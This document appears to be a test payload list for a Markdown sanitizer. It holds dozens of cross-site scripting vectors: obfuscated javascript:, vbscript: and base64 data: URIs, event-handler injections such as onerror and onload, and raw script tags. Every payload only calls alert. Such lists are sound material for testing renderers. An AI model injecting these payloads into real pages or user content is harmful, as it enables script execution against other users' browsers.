test

[a](JaVaScRiPt:alert(1)) [a](JAVASCRIPT:alert(1)) [a](jAvAsCrIpT:alert(1)) [a](j a v a s c r i p t:alert(1)) [a](java script:alert(1)) [a](java script:alert(1)) [a](javascript:alert(1)) [a](javascript:alert(document.domain)) [a](javascript://%0aalert(1)) [a](javascript://comment%0Aalert(1)) [a](javascript://www.google.com%0Aalert(1)) [a](javascript://www.google.com alert(1)) [a](javascript:window.onerror=alert;throw 1) [a](javascript:window'alert') [a](javascript:top'alert') [a](javascript:this'alert') [a](javascript:self'alert') [a](javascript:/**/alert(1)) [a](javascript:alert(1)) [a](javascript:alert%281%29) [a](javascript:alert(1)) [a](javascript:alert(1)) [a](javascript:alert(1)) [a](javascript:alert(1)) [a]( javascript:alert(1)) [a]( javascript:alert(1)) [a](data:text/html,<script>alert(1)</script>) [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==) [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](data:application/xhtml+xml,<script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>) [a](vbscript:alert(1)) a ["a"](javascript:alert(1)) a [a](https://example.com" onclick="alert(1)) a ![x](javascript:alert(1)) ![x](JaVaScRiPt:alert(1)) ![x](data:text/html,<script>alert(1)</script>) ![x](data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==) !Uh oh... !Uh oh... !Uh oh... !Uh oh... !a ![a](x' onerror='alert(1)) [a][1] [1]: javascript:alert(1) [1]: JaVaScRiPt:alert(1) [1]: <javascript:alert(1)> [1]: data:text/html,<script>alert(1)</script> [a]: javascript:alert(1) "title" [a](<javascript:alert(1)>) a [a](< javascript:alert(1) >) <javascript:alert(1)> <JaVaScRiPt:alert(1)> <vbscript:alert(1)> <img src=x onerror=alert(1)> <img src="x" onerror="alert(1)"> <svg onload=alert(1)> <svg/onload=alert(1)> <iframe src=javascript:alert(1)> <a href=javascript:alert(1)>click</a> <details open ontoggle=alert(1)> <body onload=alert(1)> <math href="javascript:alert(1)">click</math>

console.log('<script>alert(1)</script>')

<script>alert(1)</script>

<script>alert(1)</script>

<script>alert(1)</script>
  • [x](javascript:alert(1))

[a](javascript:alert(1))

#[a](javascript:alert(1))

| [a](javascript:alert(1)) | |---|